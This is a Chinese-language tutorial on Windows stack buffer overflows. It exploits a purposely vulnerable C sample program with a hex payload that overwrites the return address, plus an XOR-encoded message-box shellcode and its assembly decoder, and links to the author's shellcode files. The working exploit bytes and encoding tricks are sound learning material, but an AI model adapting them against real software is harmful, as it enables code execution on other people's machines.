Windows Shellcode学习笔记——shellcode在栈溢出中的利用与优化
导语：本文将要结合《0day安全：软件漏洞分析技术》中的“栈溢出原理与实践”章节，以其中的栈溢出代码作样本，优化我们自己生成的弹框实例shellcode，实现在栈溢出中的初步利用。
0x00 前言
在《Windows Shellcode学习笔记——shellcode的提取与测试》中介绍了如何对shellcode作初步优化，动态获取Windows API地址并调用，并通过程序实现自动提取机器码作为shellcode并保存到文件中。
弹框实例shellcode的bin文件已上传至github，地址如下：
https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin
注：shellcode.bin由getshellcode.cpp生成
getshellcode.cpp地址如下：
https://github.com/3gstudent/Shellcode-Generater/blob/master/getshellcode.cpp
接下来，要研究shellcode在具体环境中的使用和优化技巧
0x01 简介
先从最入门的缓冲区溢出开始
本文将要结合《0day安全：软件漏洞分析技术》中的“栈溢出原理与实践”章节，以其中的栈溢出代码作样本，优化我们自己生成的弹框实例shellcode，实现在栈溢出中的初步利用。
0x02 相关概念
栈区：
用于动态地存储函数之间的调用关系，以保证被调用函数在返回时恢复到母函数中继续执行
特殊寄存器：
ESP:栈指针寄存器(extended stack pointer)，指向栈顶
EBP:基址指针寄存器(extended base pointer)，指向栈底
EIP:指令寄存器(extended instruction pointer)，指向下一条等待执行的指令地址
函数代码在栈中保存顺序(直观理解，已省略其他细节)：
buffer 前栈帧EBP 返回地址 ESP
函数栈溢出原理(直观理解，已省略其他细节)：
正常情况下函数在返回过程中，最后会执行返回地址中保存的内容，通常是跳到下一条指令的地址
如果buffer长度过长，长到覆盖了返回地址的值，那么函数在返回时，就会执行被覆盖的内容
如果将shellcode保存到buffer中，覆盖的返回地址为shellcode的起始地址，那么，shellcode将得到执行，完成栈溢出的利用
0x03 栈溢出实例测试
样本代码如下：
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
int main()
{
int valid_flag=0;
char password[1024];
FILE *fp;
LoadLibrary("user32.dll");
if(!(fp=fopen("password.txt","rw+")))
return 0;
fread(password,56,1,fp);
valid_flag=verify_password(password);
if(valid_flag)
{
printf("wrongn");
}
else
{
printf("rightn");
}
fclose(fp);
return 0;
}
注：代码选自章节2.4.2中的实验代码，作细微调整
其中，fscanf(fp,”%s”,password)在遇到空格和换行符时结束，如果shellcode中包含空格(0x20)，会被截断，导致读取文件不完整
因此，将其替换为fread(password,56,1,fp);
数组password长度为56，数组buffer长度为44，在执行strcpy(buffer,password);时存在栈溢出
根据函数栈溢出原理，实现栈溢出需要以下过程：
(1) 分析并调试程序，获得淹没返回地址的偏移
(2) 获得buffer的起始地址，根据获得的偏移将其覆盖返回地址，使得函数返回时执行buffer起始地址保存的代码
(3) 提取弹框操作的机器码并保存于buffer的起始地址处，在函数返回时得到执行
测试系统：Win XP 编译器：VC6.0 build版本： debug版本
(1) 分析并调试程序，获得淹没返回地址的偏移
可在password.txt中填入56个测试字符，使用OllyDbg打开程序，定位到函数返回地址
如图
返回地址刚好被覆盖
(2) 获得buffer的起始地址并覆盖返回地址
如图
获得buffer的起始地址：0012FB7C
注：在不同系统下buffer的起始地址不同，使用0012FB7C覆盖返回地址，即password.txt的53-56位的十六进制字符为7CFB1200(逆序保存)
(3) 提取弹框操作的机器码
参照《0day安全：软件漏洞分析技术》中的方法，使用Dependency Walker 获取ueser32.ll的基地址为0x77D10000
MessageBoxA的偏移地址为0x000407EA
如图
因此MessageBoxA在该系统上内存中的入口地址为0x77D10000+0x000407EA=0x77D507EA
替换书中MessageBoxA对应函数入口地址的机器码
最终password.txt内容如下(十六进制视图)：
00000000h: 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 ; 3跾hwesthfail嬆S 00000010h: 50 50 53 B8 EA 07 D5 77 FF D0 90 90 90 90 90 90 ; PPS戈.誻袗悙悙? 00000020h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙 00000030h: 90 90 90 90 7C FB 12 00 ; 悙悙|?.
最终程序运行如图，栈溢出在我们的测试系统上触发成功
0x03 弹框实例shellcode在栈溢出的优化
上节简单介绍了一下栈溢出实例的原理和操作方法，本节将要介绍如何优化我们自己开发的shellcode，即弹框实例shellcode，结合具体漏洞，实现利用
弹框实例shellcode下载地址：
https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin
shellcode长度1536
(1) 修改实例程序，使其数组足以保存我们的shellcode
完整代码如下：
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[1556];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;
}
int main()
{
int valid_flag=0;
char password[2048]={0};
FILE *fp;
if(!(fp=fopen("password2.txt","rb")))
return 0;
fread(password,1568,1,fp);
valid_flag=verify_password(password);
if(valid_flag)
{
printf("wrongn");
}
else
{
printf("rightn");
}
fclose(fp);
return 0;
}
buffer长度增大到1556，用于保存弹框实例shellcode
根据上节实例，淹没返回地址的偏移9-12，因此password的长度增加到1556+12=1568
(2) strcpy遇到字符00会截断
如图
弹框实例shellcode在00000009h处字符为0x00，strcpy在执行时遇到0x00会提前截断，导致shellcode不完整，无法覆盖返回地址
所以，需要对shellcode进行编码
为方便读者理解，参照《0day安全：软件漏洞分析技术》中3.5.2节的方法(此章节有详细说明，不再赘述过程)：
shellcode尾部添加结束字符0x90 将shellcode逐字节同0x44作异或加密 汇编实现解码器并提取机器码 解码器的机器码放于shellcode首部 解码器将EAX对准shellcode起始位置，逐字节同0x44异或进行解密，遇到0x90停止
解码器的汇编代码如下：
void main()
{
__asm
{
add eax,0x14
xor ecx,ecx
decode_loop:
mov bl,[eax+ecx]
xor bl,0x44
mov [eax+ecx],bl
inc ecx
cmp bl,0x90
jne decode_loop
}
}
使用OllyDbg提取出机器码如下：
"x83xC0x14x33xC9x8Ax1Cx08x80xF3x44x88x1Cx08x41x80xFBx90x75xF1"
新的shellcode格式如下：
解码器机器码+加密的弹框实例shellcode+0xD4+"x90x90x90x90x90x90x90"+"x7CxFBx12x00"
注：
0x90^0x44=0xD4,0xD4即编码后的结束字符
“x90x90x90x90x90x90x90”为填充字符串，无意义
“x7CxFBx12x00”为覆盖的函数返回地址
(3) 0xD4冲突
如图
弹框实例shellcode中也包含结束字符0xD4，解密时shellcode会被提前截断，所以需要选择一个新的结束字符
当然也可以对shellcode分段加密，针对此shellcode，恰巧0xD5未出现，因此使用0xD5作结束字符串即可，解密字符为0x91
修改后的机器码如下：
"x83xC0x14x33xC9x8Ax1Cx08x80xF3x44x88x1Cx08x41x80xFBx91x75xF1"
修改后的shellcode格式如下：
解码器机器码+加密的弹框实例shellcode+0xD5+"x90x90x90x90x90x90x90"+"x7CxFBx12x00"
(4) shellcode编码测试
编写程序实现自动读取原shellcode，加密，添加解密机器码，添加结束字符
程序已上传至github
https://github.com/3gstudent/Shellcode-Generater/blob/master/enshellcode.cpp
执行后如图，产生新的shellcode文件，并在屏幕输出c格式的shellcode
使用如下代码，结合屏幕输出c格式的shellcode，替换数组内容，对新的加密shellcode测试
由于代码较长，所以上传至github，地址如下：
https://github.com/3gstudent/Shellcode-Generater/blob/master/testenshellcode.cpp
如图，shellcode执行，成功实现解码器
(5) 新shellcode在栈溢出中的测试
填上解码器机器码，完整的shellcode格式如下：
"x83xC0x14x33xC9x8Ax1Cx08x80xF3x44x88x1Cx08x41x80xFBx91x75xF1"+加密的弹框实例shellcode+0xD5+"x90x90x90x90x90x90x90"+"x7CxFBx12x00"
在栈溢出测试程序中仍然报错，使用OllyDbg加载继续调试
如下图，成功覆盖函数返回地址，接着按F8进行单步调试
如下图，此时发现异常，EAX寄存器的值为909090D5，正常情况下EAX的值应该为Buffer的起始地址，这样才能成功找到shellcode并对其解密
而寄存器EDX却保存了Buffer的起始地址
所以，我们需要对解码器作修改
(6) 修改解码器
选择一个最简单直接的方法，将EDX对准shellcode的起始位置，实现的汇编代码如下：
void main()
{
__asm
{
add edx,0x14
xor ecx,ecx
decode_loop:
mov bl,[edx+ecx]
xor bl,0x44
mov [edx+ecx],bl
inc ecx
cmp bl,0x90
jne decode_loop
}
}
在OllyDbg中加载程序并提取机器码，如图
新的解码器机器码为：
"x83xC2x14x33xC9x8Ax1Cx0Ax80xF3x44x88x1Cx0Ax41x80xFBx91x75xF1"
最终的shellcode代码为：
"x83xC2x14x33xC9x8Ax1Cx0Ax80xF3x44x88x1Cx0Ax41x80xFBx91x75xF1"+加密的弹框实例shellcode+0xD5+"x90x90x90x90x90x90x90"+"x7CxFBx12x00"
完整shellcode代码已上传至github，地址为：
https://github.com/3gstudent/Shellcode-Generater/blob/master/stackoverflowshellcode.bin
再次测试栈溢出，如图，shellcode成功执行
由于shellcode是我们自己实现的动态获取API地址，所以栈溢出测试程序中的LoadLibrary(“user32.dll”); 可以省略
0x04 小结
本文对栈溢出原理作了简要描述，着重介绍了在具体的栈溢出环境下，shellcode的优化、调试和利用技巧
当然，上述shellcode存在一个不足：shellcode在内存中的起始地址往往不固定，导致漏洞利用不一定成功